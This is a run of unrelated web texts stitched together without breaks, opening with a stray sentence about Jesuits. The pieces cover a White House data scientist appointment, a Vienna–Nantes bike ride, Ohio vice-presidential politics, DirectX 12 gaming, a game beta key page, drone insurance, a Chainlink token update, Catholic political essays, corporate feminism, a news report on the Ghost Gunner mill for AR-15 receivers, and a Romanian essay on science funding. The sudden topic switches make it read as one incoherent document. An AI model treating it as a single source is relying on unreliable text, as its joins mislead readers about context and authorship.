And yet the Jesuits are getting out their dogs and firehoses. The machine needs to silence the voices of those who have a right to be heard.
Across our great nation, we’ve begun to see an acceleration of the power of data to deliver value. From early open data work by the National Oceanic and Atmospheric Administration (NOAA), which provides data that enables weather forecasts to come directly to our mobile phones, to powering GPS systems that feed geospatial data to countless apps and services — government data has supported a transformation in the way we live today for the better.
DJ joins the White House following an incredible career as a data scientist — a term he helped coin — in the public and private sectors, and in academia. Most recently, DJ served as the Vice President of Product at RelateIQ, which was acquired by Salesforce. DJ also previously held positions at LinkedIn, Greylock Partners, Skype, PayPal, and eBay. Prior to his work in the private sector, DJ worked at the Department of Defense, where he directed new efforts to bridge computational and social sciences in fields like social network analysis to help anticipate emerging threats to the United States.
As a doctoral student and faculty member at the University of Maryland, DJ used open datasets published by NOAA to make major improvements in numerical weather forecasting. He holds a bachelor’s degree in mathematics from the University of California, San Diego, and a PhD in applied mathematics from the University of Maryland College Park. DJ has also authored a number of influential articles and books explaining the important current and potential applications of data science.
As Chief Data Scientist, DJ will help shape policies and practices to help the U.S. remain a leader in technology and innovation, foster partnerships to help responsibly maximize the nation’s return on its investment in data, and help to recruit and retain the best minds in data science to join us in serving the public. DJ will also work on the Administration’s Precision Medicine Initiative, which focuses on utilizing advances in data and health care to provide clinicians with new tools, knowledge, and therapies to select which treatments will work best for which patients, while protecting patient privacy.
As part of the CTO team, DJ will work closely with colleagues across government, including the Chief Information Officer and U.S. Digital Service. DJ’s work will also include data science leadership on the Administration’s momentum on open data and data science.
Over the past six years, the Obama administration has made historic progress in this area. In addition to making more than 138,000 data sets available to the public for innovation and entrepreneurship, the Administration is also empowering Americans with secure access to their personal data and expanding our capacity to process and examine large and complex datasets. Utilizing data for innovation holds amazing potential for the future of our country.
Forty five daily stages will cover the 2,222 km of the EV6, a realistic but symbolic figure to cover the distance from Vienna to Nantes on two wheels. Participants will need to become members of AF3V and make a daily contribution to food and accommodation costs.
Key facts about the ride:
Dates: 30 May to 14 July 2014
Distance: 2222 km. Stages from 50 to 70 km/day.
• Austria: 322 Km (1 week)
• Germany: 620 km (12 days)
• Switzerland: 130 km (3 days)
• France: 1150 km (3 weeks)
Duration: 44 stages separated by a rest day in the Doubs: 45 days total.
May 30th is the day of the closing ceremony of VeloCity Adelaide 2014. The ride will depart following a screening of the ceremony.
The main regional stages are described in detail on the EuroVelo 6 website :
Vienna - Passau
The Bavarian Danube
The Upper Danube and Lake Constance
The Rhine Valley
Haute-Alsace and the Doubs Valley
Burgundy Riverbanks
The Loire Valley
The city of Nantes at the crossing of EuroVelo1 and 6
For more information about the ride you can download the full programme here – Vienna – Nantes 2014 programme
Registration is now open on the AF3V webpage.
WASHINGTON Even as Sen. Sherrod Brown remains a contender to be Hillary Clinton’s vice presidential running mate, a handful of labor leaders and some Ohio Democrats have launched an aggressive effort to persuade Clinton to consider former Ohio Attorney General Richard Cordray.
Although Brown has an extensive resume and deep ties with organized labor and progressives, there are mounting fears that if Clinton taps him for the second spot on the ticket, Gov. John Kasich would name a Republican to replace Brown should Democrats win the presidential election.
That has prompted what has become a loud and vigorous campaign to push for Cordray, director of a major federal consumer agency created by Congress in 2010 as part of a major overhaul of the nation’s financial regulation system.
Just this past week, the Toledo Blade and Akron Beacon Journal published editorials urging Clinton, the presumptive Democratic presidential nominee, to consider Cordray, 57, who won statewide elections in Ohio for state treasurer and attorney general.
Those editorials were echoed by Sonny Nardi, president of Teamster Local 416 in Cleveland, who said he is “doing everything I can to get Rich’s name out because I truly believe he will be a great vice president.”
Dale Butland, a onetime adviser to former Sen. John Glenn, D-Ohio, said “if Hillary Clinton is looking for a candidate who will not in any way hurt her and who in many ways might help particularly in a state like Ohio, I think Rich Cordray should be on the short list.”
A Clinton spokeswoman declined to comment on Cordray or any other potential nominee, but at least one high-level Democrat said while Cordray has “great credentials,” he would be a “wildcard” or dark horse.”
Clinton and her advisers have not signaled who she is considering, although names mentioned by Democrats include Brown, Sen. Elizabeth Warren of Massachusetts, Secretary of Labor Thomas Perez, and Housing and Urban Development Secretary Julian Castro, or someone with a deep background in national security or counter terrorism.
Cordray has a broad range of domestic and legal experience. He earned a law degree from the University of Chicago, served as a law clerk to Supreme Court Justice Anthony Kennedy, was elected state treasurer in 2006 and state attorney general in 2008, before being narrowly being defeated for re-election in 2010 by Republican Mike DeWine.
But while Cordray has the image of the nice kid next door, even his closest friends would not describe him as an electrifying speaker. By contrast, both Brown and Warren – who urged President Barack Obama to pick Cordray as the consumer bureau chief – both campaign with far greater gusto than the studious Cordray.
“Elizabeth Warren knows how to handle Donald Trump,” said Mary Anne Marsh, a Democratic consultant in Boston.
Brown seems an obvious choice. A graduate of Yale, Brown has served in the Ohio House, two terms as Ohio secretary of state, seven terms in the U.S. House, and two terms in the Senate.
His trademark and vocal opposition to any number of trade agreements – from the North American Free Trade Agreement in 1993 to the 12-nation Pacific trade deal negotiated by President Barack Obama – fits in well with Democrats nationally.
But he has one glaring drawback: Democrats say Clinton wants Democrats to seize control of the Senate this November. If Republicans maintain control, they can block her nominees to the U.S. Supreme Court and her cabinet, while killing her budget and tax plans.
By picking Brown, Clinton would be handing the seat over to the Republicans. By contrast, Massachusetts’ law provides for a relatively swift special election to replace Warren.
“We think the world of Sherrod Brown,” said Ken Lortz, director of the United Auto Workers in Ohio and Indiana. “But if Sherrod Brown were to run in that spot at a time when hopefully the Democrats can take control of the U.S. Senate, that would be one more seat” Democrats would have to win in another state for any hopes to control the Senate.
If you haven’t already seen the above video that shows off the power of DirectX 12, you ought to. It was shown off at 2015’s Build conference, and displays some of the most beautiful footage that we’ve ever seen rendered through a game engine. Incredibly strong lighting, shadows, and mind-blowing polygon count are all supported by DirectX 12, and it’s paving the way for a fairly incredible future in gaming.
While there’s only so much that it can do for Rise of the Tomb Raider, the differences are still very much present. Let us know in the comments what you think of the game with DirectX 12 enabled.
Thanks to WinBeta reader Brendon for the tip and the screen capture!
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About Wolfteam:
Wolf Team is a fast paced 3D MMOFPS that features the ability for players to switch between playing as a Human or as a Werewolf. Humans have an assortment of weapons available at their disposal giving them an advantage at a distance. Wolves on the other hand have no ranged attack but are faster and stronger than their human counter parts.
To get your key you have to follow these instructions:
* If you are not yet an member of Onrpg please sign up here:
* Enter your Onrpg username and password below to get your Code
* The key will appear at the bottom of the page, copy & paste to a safe place otherwise you may not be able to retrieve it * If you are not yet an member of Onrpg please sign up here: http://www.onrpg.com/boards/register.php * Enter your Onrpg username and password below to get your Code* The key will appear at the bottom of the page, copy & paste to a safe place otherwise you may not be able to retrieve it
How to use the code:
1. Get beta key from OnRPG
2. Go to Aeria Games website and login or create an account
3. Visit the Wolf Team website
4. Input beta key at the bottom of the page and click the submit button
5. Download the game client and then log in with your registered account 1. Get beta key from OnRPG2. Go to Aeria Games website and login or create an account https://login.aeriagames.com/user/login 3. Visit the Wolf Team website http://wolfteam.aeriagames.com/cse/cbevent 4. Input beta key at the bottom of the page and click the submit button5. Download the game client and then log in with your registered account
Enjoy!
As the year comes to an end, it’s been fascinating to reflect how the landscape of unmanned aerial vehicles (UAVs) has changed in the last 365 days. For one, the long awaited FAA small unmanned aircraft system (sUAS) regulations finally took effect, and we have thousands of new operators amongst us.
New drones with innovative capabilities are popping up like mushrooms, fueled by an incredible surge in new technologies. However, I can’t help but gaze into the New Year with curiosity. How will drones change throughout 2017? In the next 12 months, it is my belief that we will begin to see the wider adoption of UAV insurance.
This may sound a little unnecessary to some, but let me explain with a real life example. The Boston Herald recently reported about a groom being sued by two wedding guests after a drone crashed into the couple on the dance floor, resulting in a visit from the paramedics, a fractured nose and orbital bone, and a gash that required more than 20 stiches. Simply wanting to capture the most important moment of their life, the newlyweds missed their honeymoon and are now facing a serious lawsuit where they will have to pay the court fees and any damages in full if the case is lost. Talk about buyer’s remorse.
As drone’s become more common, this scenario will surely repeat itself until people begin to internalize that drones are not toys. They are aircraft! On a much smaller scale, yes, but aircraft nonetheless. As the two (former) friends of the groom will tell you, drones operated in an unfit manner can have some real impacts. Literally.
In my (humble) opinion, anyone in possession of a UAV should be required to carry insurance for drone operations. Things go wrong; it’s the nature of life. Sometimes as with this particular instance, it is preventable. However, sometimes things just happen. The example above will certainly not turn out to be cheap, but if the groom had UAV insurance, the damages might be covered under his plan (similar to insured driver coverage).
Anyone looking to use drones should learn from this example – while technology is absolutely incredible, you can count on Murphy’s Law to be alive and well! (Anything that can go wrong, will go wrong.) Yes, drones are extraordinary tools; and, yes, they can be helpful in a wide variety of situations, especially in the security industry. But we must also respect their power. A 40-pound drone falling from the sky can and will cause major and costly damage.
For security companies in an already dangerous industry, employing drones for monitoring purposes without an insurance policy in a way adds another level of uncertainty. No one, nor no one technology, is perfect.
UAV insurance would help bring certainty and eliminate the general public’s apprehension toward drones by having a clear plan in place for when accidents happen.
I think as the New Year progresses, more and more companies and individuals like the groom in our example above will advocate that UAV Insurance should be a requirement for drone operators. For the unexpected scenarios on a rainy day. Or the occasional wedding day.
A daily look at the trading status of the Chainlink token
Crypto Takeoff Blocked Unblock Follow Following Oct 24, 2017
There’s a lot to discuss today, so I will forgo this update’s usual structure and go straight for yesterday’s Binance drama.
4chan Bank Run
As most of you know, yesterday the Chainlink community exploded, or at least te 4chan part of it did. Holders have felt frustrated for days with the token being available on a single big exchange, Binance. There’s been lots of talk about price manipulation by bots. Although there is no proof, just taking a look for 5 minutes straight at the buy and sell walls makes the rumors very plausible.
So yes, the community wants the token to be traded on more big exchanges. With good reason.
Yesterday morning, 4chan users decided that enough was enough and that emptying the Binance wallet of its Link tokens would send a message, not only to the exchange, but also to the Chainlink team, that’s been accused of not doing enough to get the token listed somewhere else. While the lack of news from the team can be frustrating, I applaud their no-hype communication policy. It’s professional. Quite a change from other companies in this space.
The Binance wallet had 2M tokens left. In just a few hours, /biz/ users emptied it out by moving their tokens to their wallets. Then, withdrawals were put on pause as the wallet just didn’t have enough Link. Meanwhile, a lot of crazy rumors spread on the forum: Binance uses your tokens to trade, Binance won’t refund the rest of us, this is a new Mt. Gox. The funniest part was seeing many of the threads evolve into pretty sound advice on how to store your crypto safely.
In any case, it turned out that that Binance wallet was just its hot withdrawal wallet. Binance had other wallets with Link reserves and moved 20M tokens to the emptied one in just a matter of hours. Withdrawals resumed and the campaign ended. Most 4chan users seemed to feel satisfied that they’d voiced their frustration. Others claimed that the lack of impact on trading prices confirmed that most of the Link trading on Binance is done by bots. It’s true that, for a short while, Link traded 20% higher on Etherdelta while Binance remain unperturbed. Still, Binance had 91.96% of the total Link volume, even more than the previous day. And the total volume traded was indeed affected by the protest, decreasing to $2.9 Million from $4 Million the day before. People stopped trading.
About 266 people took part in the protest. How do we know this? Well, wallets have been growing at a daily 1.50% for the last week, but they grew 3.57% yesterday, to a total of 12,080. That’s 266 unexpected new wallets.
The Chainlink team has stated that they have no opinion on this, as it only had to do with a third party. I like their prudence, but I’d be surprised if this doesn’t make them prioritize getting on new exchanges.
All in all, here’s the biggest lesson: Keeping your money in exchanges is a bad idea unless you’re actively trading. Imagine a run a thousand times bigger and your exchange stopping withdrawals. Imagine that your favorite exchange gets hacked.
Educate yourself about crypto security and get a hardware wallet.
Now on to our usual programming…
Link and the top 100
Link is trading at $0.2703. The 15.62% increase is nice, but not that amazing when you consider the sure in alt prices yesterday evening after the Bitcoin Gold fork, which happened sooner than expected.
Link is the 66th coin in market cap and the 39th in trading volume. It’s been the 32nd best performing coin in the last 24 hours. Not that great, considering the money coming into alts and how cheap the token is at the moment.
Link is now the top 67th coin in market capitalization at $81M. Volume has diminished sharply to $2.4M from $5.8M in just one day and it’s become the 36th most traded coin.
Price action
The rally I predicted yesterday by looking at the 12 and 1 hour charts happened. Today, the situation looks even better in the 12h and daily charts. Hopefully, the price will increase, but let’s keep in mind the longer term downtrend is still in force. If you’re holding, ignore the daily changes and wait for good news from the team.
Whales
The main change has been Binance moving 20M tokens from several of its cold wallets into the hot withdrawals wallet. The other wallets where huge too, and Binance has even more. Binance CEO CZ explained on Telegram that the hot wallet had 5% of the LINK reserves only. That would mean they have at least 40M tokens.
With so many of the top 50 wallets belonging to Binance, I’m thinking that watching them one by one for daily changes doesn’t have any value. They belong to an exchange, not to investors. From now on, I’ll pay more attention to the percentage owned by the top 50, 100, or 250 wallets as a whole. I’ll also continue to monitor withdrawals from the Binance and Etherdelta wallets.
On that note, the top 50 hold 75.24% of the tokens. The top 100 hold 78.24%. More or less the same as yesterday.
News
Another day, another rumor spreading like wildfire. Today, it’s that Chainlink has promised an update before the end of the month. Not true. Rory was asked whether the company would have any updates by the end of October. Rory’s concise answer? ‘I believe we will’. People, how on Earth is that confirmation of upcoming news? And keep in mind that, even if they release any news, they could be a rehash of things we already know. ‘We’re hiring developers and marketing people and look forward to the continued support of the community’. How’s that for news? How’s that for self-inflicted disappointment among those building hype?
That’s all for today. Hopefully, tomorrow’s update will be shorter.
Additional information
I started my freshman year at Franciscan University of Steubenville, Ohio, when I was barely 17, skipping my senior year of high school in my enthusiasm to get started on Catholic higher education. I quickly joined Students for Life, the campus pro-life group, and began spending Saturday mornings with 6 am mass and an hour drive to Pittsburgh to pray in front of the abortion clinic. That first year I was a bus captain on the trip to Washington, D.C. for the March for Life, as well as head of the Students for Life Prayer Team. I was interviewed on the conservative Catholic TV station
EWTN as a young pro-life leader.
On my breaks from school, I worked at my hometown's Catholic bookstore, where I reorganized the books based on theological theme and offered customers advice about saints, prayer, and the like. I also volunteered at the local crisis pregnancy center, where we offered free pregnancy tests, infant formula, children's clothing, and other services to help women who were pregnant and needed extra support. I went to daily mass and weekly confession, as I had since high school. I marched in the occasional local abortion protest. I read theology in my free time.
I was, in other words, the perfect Steubenville Catholic student: devoted to my prayer life, diligent in my studies, involved in student life, and passionate about the pro-life cause.
My Steubenville honeymoon was not to last, however. For while I prayed for an end to abortion and the conversion of souls, I also saw the depressed ex-steel town in which the university resided, and I felt a disconnect between the spiritual fervency on campus and the poverty
surrounding it. I was ashamed to have the money to be a full-time student when the neighborhoods next door to the university were filled with dilapidated houses and people forced out of work when the steel mills closed. Big questions started plaguing me: Was it really enough to make these people observant Catholics, as the general thinking on campus went? Were all of their socioeconomic problems really caused by the fact that they used birth control? Would overturning Roe v. Wade really be enough to solve the poverty, under-education, and chronic unemployment rampant in the town and the world?
I started wondering why, in my class on Catholic social teaching, the professor only highlighted the parts of the Catholic tradition that condemned communism and promoted free trade. What about teachings against corporate corruption and exploitation of workers? The
general assumption that a good Catholic voted Republican began to grate on me, because so many of the GOP policies were in direct violation of Catholic teaching about human dignity. How could the party of unregulated corporate greed be the party for solidarity with
the poor? I started wondering if maybe more could be done to solve the abortion problem by addressing the socioeconomic causes, rather than the obsession with overturning Roe v. Wade that filled our thinking. I started seeing the need for systemic change - the need to question, as
Dorothy Day put it, "this dirty rotten system" of unfettered free market capitalism.
At last, I realized that to be a good Catholic had nothing to do with being a good Republican, and that in fact there is a proud tradition of a Catholic Left. And so someone smashed in my car window and ripped off my "What would Jesus bomb?" bumper sticker, my small protest
against the Iraq war. My peers called my house "the liberal nest of sin." At parties people sometimes asked me how I could even call myself a Catholic.
It is those voices that I hear again in the enthusiasm over "pro-life" Gov. Sarah Palin, whose views on criminalizing abortion seem to trump her well-documented personal record of corrupt and cronyistic bullying. So for those of you who insist on being "single issue"
voters this election, I suggest that you may do well to dig under the tired rhetoric of Republicans feverishly seeking your votes and consider the following.
Why, in 12 years of a Republican-controlled Congress (1994-2006), 6 of which with a supposedly pro-life Republican President (2001-2007), has no human life amendment to outlaw abortion come up for a vote? Could it be that the GOP may have some motivating interest in keeping abortion legal indefinitely as an issue to galvanize voters at election time, winning Republicans easy
votes?
And if you actually want to reduce abortions, you may do well to note the findings in the 2008 study by Catholics in Alliance for the Common Good, showing the role that economic factors have on the decision to abort, and also how addressing those factors actually reduces abortions.
Jessica Bennett at the New York Times writes about a rapidly expanding business of corporate-sponsored, celebrity-studded feminist conferences and events, where well-heeled women get together and talk about empowering less well-heeled women here and around the world. Even just a few years ago, feminism was still considered a grubby, unglamorous cause. But by focusing on getting more women into leadership positions and reminding potential sponsors that women have money to spend, famous feminists like Gloria Steinem and Tina Brown have opened a funding stream for endless numbers of panels, speeches, and award ceremonies. “What were once grass-roots gatherings have become commercial enterprises: star-studded events with corporate sponsors like Toyota and Walmart,” Bennett writes.
As someone who writes about “women’s” issues, I have really mixed feelings about these events, and not just because my love of free food and alcohol competes with my unwillingness to stand around making chit-chat while wearing heels. On one hand, as Jessica Valenti told Bennett, “The fact that corporations want to be associated with women’s causes at all is certainly progress.” However, corporate sponsors have a way of quietly refocusing these kinds of conferences away from the nitty-gritty issues that face ordinary American women and toward elite women congratulating one another for getting increasingly richer. The money wants to hear “inspiring” stories of women overcoming obstacles to become leaders, leaving little room for the less inspiring but more important stories of ordinary women getting chewed up by insurmountable obstacles like lack of health care, child care, or job opportunities. (Many of these conferences will address issues like violence and education, but prefer to focus on developing nations rather than all the work that needs to be done closer to home.)
Some of the programming is downright insipid, as my colleague Amanda Hess discovered when she went to the Thrive conference and endured discussions about how to maximize your productivity by taking sleep more seriously. Worse, the stampede to demonstrate how women can be rich muckety-mucks just like men sometimes leads to working directly against the larger goals of actual feminism. I’ve criticized the women’s leadership groups Lean In and MAKERS in the past for celebrating Rep. Ileana Ros-Lehtinen, despite the fact that she supports policies that are ruinous for the vast majority of American women, such as limiting access to reproductive health care and voting against equal pay legislation. But she is the first Latina elected to Congress, and the optics of that are much more attractive than the boring old policy discussion about how ordinary Latina women only make 60 cents for every dollar men make or how attacks on reproductive rights disproportionately affect Latinas.
Ros-Lehtinen is hardly the only female leader who works against women’s interests to be lauded by MAKERS, an organization that produces short videos on “trailblazing” and “groundbreaking” American women. Anti-feminists Monica Crowley and Kay Bailey Hutchison have gotten their own laudatory videos.* Even Condoleezza Rice, one of the architects of the Iraq War, which resulted in religious authorities reasserting dominance over women in Iraq, gets a glossy MAKERS video.
This tension came to a head recently when Valenti, writing for the Nation, called out TEDWomen for never having a single talk about abortion, even though restrictions on it have created a public health crisis around the world. TED organizers were clearly embarrassed, responding by trying to discredit Valenti’s reporting and hiding behind the claim that they don’t have an official policy against talks on abortion. But of course, they don’t need an official ban. All you need is the general understanding that corporate feminism is supposed to be controversy-averse, more about feeling good than fixing problems.
Wilson calls the tabletop machine the Ghost Gunner, and describes the project as a non-profit open source hardware effort by his company Defense Distributed.
Defense Distributed The Ghost Gunner CNC machine.
Defense Distributed's website taking preorders for the machine states it is "shipping holiday 2014." CNC, which stands for computer numerical control, relates to a milling device that removes material from a solid block in order to create a part. It is a traditional method of machining, as opposed to 3D printing, which adds material layer by layer to construct a part.
The Ghost Gunner builds on the open source community's existing work, including circuit board micro controllers from Arduino.
Defense Distributed The lower receiver of an AR-15 assault rifle inside the Ghost Gunner, immediately after being milled.
Ghost Gunner is roughly 13 in. by 11 in., weighs 45 pounds and can make parts up to 9.05 in. x 3.50 in. x 3.90 in. Its metal routing spindle rotates at more than 10,000 RPM. The CNC machine is currently compatible with Windows 7 or higher PCs. A Mac version of the software is expected be available as well.
All Ghost Gunner schematics and ".dd" design files will be published into the public domain, Defense Distributed's site states.
"Defense Distributed decided to build our own machine from the ground up. We found existing CNC machines too expensive, too DIY, or too inaccurate to manufacture firearms for the casual user," it reads. "By miniaturizing the build envelope to just large enough to mill common firearm receivers, we were able to improve rigidity, reduce material cost and simultaneously relax some design limits, allowing us to sell an inexpensive machine with more than enough accuracy to manufacture firearms."
Defense Distributed The lower receiver of an AR-15 assault rifle that was made in the Ghost Gunner but is unattached to a weapon.
The Ghost Gunner ships fully assembled and ready to use right out of the box. No programming is required. After installing the included software, you'll be ready to manufacture publicly available .dd designs.
Defense Distributed stated it is committed to releasing future firearm design files, from the AR-15 to the AR-10 assault rifles to the 1911 .45 caliber semi-automatic pistol. The company also plans to release some of its own custom firearms designs. The AR-10 and later AR-15 rifle were the basis for the U.S. military's standard M16 assault rifle.
In a demonstration video (see below), the Ghost Gunner is shown milling the lower receiver for an AR-15 assault rifle. The lower receiver is a key component to the assault rifle, containing the trigger mechanism and magazine well.
Last year, a company began offering the world's first 3D-printed, fully functioning semi-automatic pistol.
The company, Solid Concepts, created a replica of the storied .45-caliber, M1911 semi-automatic that served as the U.S. military's standard-issue sidearm for more than 70 years. Solid Concepts demonstrated the gun by firing 50 rounds with it.
The accuracy? At more than 30 yards, the gun was able to strike a target bull's-eye several times. Solid Concepts stated that it built the gun to prove the accuracy of its 3D printers for building machine parts and not as a test of the Second Amendment of the Constitution, which specifies the right to bear arms.
Why Wilson does what he does
Last year, Wilson, a former student of the University of Texas School of Law, posted the plans for his 3D-printed Liberator gun online for anyone to download. Although the U.S. government forced him to remove the plans last year, the genie was already out of the bottle. The CAD drawings had been downloaded tens of thousands of times.
In a June interview with Computerworld, Wilson said he was planning another gun-related announcement by the end of the year.
In that interview, Wilson described himself as a "free market" anarchist.
"Freedom is scary," Wilson said. "If you want to talk about rights, what does it mean to respect a civil liberty or civil right? Well, it means you understand there are social costs in having that right; that's why it deserves protection in the first place."
However, outsiders' tests of Wilson's 3D printed guns revealed they quickly malfunctioned and could be dangerous, a claim Wilson said was misleading because the government and universities performing the tests didn't adhere to his specifications.
"There are tons of different ways you can build them to blow up, but the way we put up on the Internet and suggested you build it, has never once catastrophically failed," Wilson said.
The Ghost Gunner is constructed with rigid A36 steel and 304 stainless steel. The machine also has fewer parts than traditional CNC machines to increase rigidity and reduce overall cost, Wilson stated.
Discuții recente legate de posibila desființare a UEFISCDI – Unitatea Executivă pentru Finanțarea Învățământului Superior, a Cercetării, Dezvoltării și Inovației – m-au determinat să aduc în discuție un subiect despre care am citit puține comentarii în presa românească: contractul social dintre știință și societate. Ideea unui astfel de contract a apărut cu patru sute de ani în urmă, când marele filosof naturalist Francis Bacon s-a arătat îngrijorat nu numai de statutul și rolul științei, ci și de contractul social dintre oamenii de știință și restul lumii.
În lucrarea sa The Great Instauration, 1620, Bacon a discutat, printre altele, două aspecte esențiale pentru ceea ce va deveni, și este în prezent, știința și slujitorii ei: 1) oamenii de știință trebuie să caute cunoașterea și înțelegerea pentru beneficiul vieții, și 2) dragostea pentru ceilalți să fie principala motivație.
Gândirea lui Bacon ar putea surprinde pe unii și astăzi drept remarcabilă. În parte, pentru că filosofii naturaliști din vremea sa, fiind în general oameni bogați, nu aveau nevoie de finanțare externă pentru cercetările lor. Dacă judecăm după standardele actuale, ne-am putea imagina că cercetătorii auto-finanțați nu ar trebui să dea socoteală nimănui ca să-și justifice interesele sau preferințele lor pentru a face știință. La fel, ideea unei iubiri elevate și altruiste (a căuta bunăstarea pentru alții, chiar cu posibile costuri pentru noi înșine) nu-și mai găsește locul în discuțiile curente despre știință și politicile publice.
Astăzi, din contra, cercetarea științifică, mult mai scumpă, este finanțată în cea mai mare parte de guverne, adică, indirect, de plătitorii de taxe. Majoritatea suportului financiar vine din partea unor oameni mult mai strâmtorați decât noi („bănuțul văduvei”). Și situația aceasta generează unele întrebări pentru lucrătorii din domeniul științei (printre care mă număr): De ce trebuie ca oamenii să ne plătească? Nu cumva pentru că ei speră că munca noastră de cercetare va îmbunătăți semnificativ viața lor? Nu le datorăm ceva în schimb pentru banii lor? Cum ar trebui să arate o contribuție corectă (cinstită) adusă societății pentru investițiile făcute în știință?
Posibilele răspunsuri la aceste întrebări trebuie să se regăsească într-un contract social încheiat între știință (reprezentată, în principal, de profesori/cercetători) și societate (reprezentată de plătitorii de taxe). Existența unui astfel de contract este binevenită pentru că exprimă două nevoi, ambele legitime și, uneori, conflictuale: 1) nevoia asigurării unei „libertăți” substanțiale a științei; 2) nevoia de a face dezvoltarea științei compatibilă cu alte necesități societale, care ar putea impune anumite „limitări” acestei libertăți. În fapt, noțiunea de „contract” implică acordul, înțelegerea și acceptarea (iar nu impunerea) condițiilor stipulate.
Întrucât acest contract social se referă specific la știință (ca și la tehnologie), trebuie ca o analiză atentă să ofere răspunsuri la următoarelor întrebări[1]:
a) Care sunt caracteristicile esențiale și specifice ale sub-sistemului numit „știință” pe care contractul trebuie să le respecte și promoveze fără să le comprime?;
b) Care sunt celelalte sub-sisteme societale direct conectate, prin mecanisme de tip feed-back, cu sub-sistemul știință?
c) Care sunt sub-sistemele non-societale care întrețin cele mai consistente relații de tip feed-back cu știința?
Răspunsul la întrebarea a) trebuie să clarifice, în termeni de cunoaștere obiectivă și solidă, acele rezultate pe care știința este capabilă, în mod unic și specific, să le ofere fără să primejduiască contractul social. Prin specificarea lor, știința devine responsabilă public pentru „livrare”, iar societatea poate să estimeze valoarea investițiilor făcute în știință. Este, de asemenea, o acceptare tacită a faptului că „produsele” științei și tehnologiei sunt indispensabile pentru buna funcționare a sistemului social ca întreg, ca și a diverselor sub-sisteme.
Răspunsul la întrebarea b) trebuie să indice clar ce „produse” ale sub-sistemului științifico-tehnologic ar putea fi valorificate de alte sub-sisteme, de exemplu, agricol, industrial, medical, militar, transporturi și comunicații, politic, moral etc.
Răspunsul la întrebarea c) trebuie, de asemenea, să specifice cu claritate cantitatea de resurse de mediu care sunt „consumate” prin funcționarea sub-sistemului științific și care ar putea fi daunele produse pe termen scurt, mediu și lung de această funcționare. Această analiză se referă nu atât la „interdicții”, cât la „limitările obiective”, care trebuie recunoscute și apropriate pentru buna funcționare a științei.
Un exemplu de contract social știință- societate
Am făcut cercetare științifică în România în perioada 1981 – 1993, dar a fost mai degrabă un simulacru: nu eram plătit, pentru că activitatea de cercetare intra în norma didactică, nu aveam aparatură și echipament de teren adecvate, literatura de specialitate era 99% sovietică, iar deplasările, chiar cu invitații plătite, la congrese internaționale mi-au fost total interzise (vezi unele justificări aici). Practic, activitatea mea reală de cercetător a început acum 22 de ani, când, după câștigarea unei burse Fulbright, am ajuns la University of Oklahoma. Din 2001, lucrez la City University of New York, Brooklyn College. De aceea, punctele de vedere, expuse în continuare, reflectă experiența mea americană. Sper că eventualii cititori ai acestor rânduri vor beneficia de exemplul concret al unui contract social dintre știință și societate și, dacă vor fi interesați, l-ar putea propune societății civile din România.
Simplificând foarte mult, se poate spune că, în Statele Unite ale Americii, contractul dintre știință și societate datează de la sfârșitul celui de-al doilea război mondial, când Vannevar Bush a publicat un raport fundamental și de mare influență asupra mediilor politice și a publicului: Știința, o frontieră fără margini: Un raport către Președinte despre un program de cercetare științifică postbelică[2].
Raportul Bush către Președintele Truman a reprezentat planul fundamental al politicii SUA vizavi de știință și cercetarea universitară. De asemenea, raportul a instituționalizat normele sociale – universalismul, obiectivitatea, scepticismul organizat și comunitarismul – care, mai târziu, au fost identificate ca definind știința și garantând marșul ei progresiv către adevăr
Să ne amintim că Statele Unite au intrat în război în 1941 cu echipament și arme învechite, mult sub nivelul tehnic al Puterilor Axei. În ciuda acestui start întârziat, după numai patru ani, Aliații au obținut victoria care, într-o măsură covârșitoare, s-a datorat capacității lor industriale impresionante, accesului la resurse naturale și, deloc neglijabil, unor invenții și avansuri tehnologice. De exemplu, bomba atomică, radarul și penicilina au schimbat decisiv soarta războiului. Din fericire, războiul s-a terminat înainte ca savanții germani să fructifice avansul lor în domeniul rachetelor.
După război, amenințarea sovietică risca să devină confruntațională și, în cele din urmă, a condus la declanșarea Războiului Rece. Pentru a contracara această situație, conducătorii Statelor Unite au cerut un program de cercetare și dezvoltare larg, robust, concertat și susținut. În 1950, ei au înființat National Science Foundation – NSF (un minister al cercetării sui-generis, asemănător cu UEFISCDI). Au urmat apoi investiții masive în energia atomică și tehnologia spațială (ca urmare a lansării Sputnik-lui de către Uniunea Sovietică în 1957).
Limbajul prin care s-a stabilit NSF vorbește despre scopuri naționale, dar oamenii de știință și liderii politici și-au dat seama repede că aceste scopuri s-ar putea atinge cel mai repede dacă cercetătorii vor fi lăsați să decidă ei înșiși care sunt cele mai promițătoare teme de cercetare. Pentru o vreme, limbajul care se utiliza în această situație vorbea chiar despre „știință motivată de curiozitate”. Ca și cum oamenii de știință ar fi spus cu tupeu societății: „Dați-ne o mulțime de bani și nu puneți prea multe întrebări, iar într-o bună zi veți fi bucuroși de ce-ați făcut”[3].
Interesant de remarcat este că ambii parteneri ai acestei versiuni a contractului social și-au onorat obligațiile preț de o jumătate de secol. Prin intermediul Congresului, publicul a fost generos și statornic cu finanțarea cercetării, iar oamenii de știință au produs, în schimb, un adevărat corn al abundenței, plin de beneficii societale în agricultură, energie, sănătate, informatică, cosmologie, transporturi și multe altele. Toate aceste invenții și avansuri tehnologice au alimentat creșterea economică, au fundamentat securitatea națională și au crescut calitatea vieții, iar în final, au asigurat Statelor Unite un loc primordial ca „națiune indispensabilă” pe scena lumii.
Ar mai trebui subliniat faptul că în Statele Unite, în paralel cu cercetarea sponsorizată de public, există o extrem de valoroasă și lucrativă cercetare privată, finanțată de diverse companii. Dacă astăzi folosim un computer, un telefon inteligent, un software dedicat, o pastilă Viagra sau Lipitor, un motor de căutare pe Internet și multe, multe altele, acestea se datoresc cercetărilor din companii private precum Microsoft, Apple, Adobe, Pfizer, Google, Facebook, YouTube etc. Chiar și în domeniul în care lucrez, o multitudine de invenții și progrese tehnologice, precum fracturarea hidraulică, forajul orizontal dirijat, seismica 3-D și 4-D, carotaje geofizice de mare rezoluție ș.a.m.d., sunt produse ale cercetărilor private finanțate de industria de profil. Suportul public pentru acest tip de cercetări a fost și este extrem de limitat.
Care este situația prezentă a contractului social din SUA?
Pentru mai bine de cincizeci de ani, după publicarea raportului Bush, în Statele Unite știința a înflorit în parte datorită existenței acelei înțelegeri fundamentale și stabile dintre practicanții științei și restul societății. Cu alte cuvinte, a funcționat un acord bazat pe încredere, care stabilea responsabilitățile fiecărei părți, și care – în principiu – includea sancțiuni corespunzătoare în cazul în care nu erau îndeplinite aceste obligații.
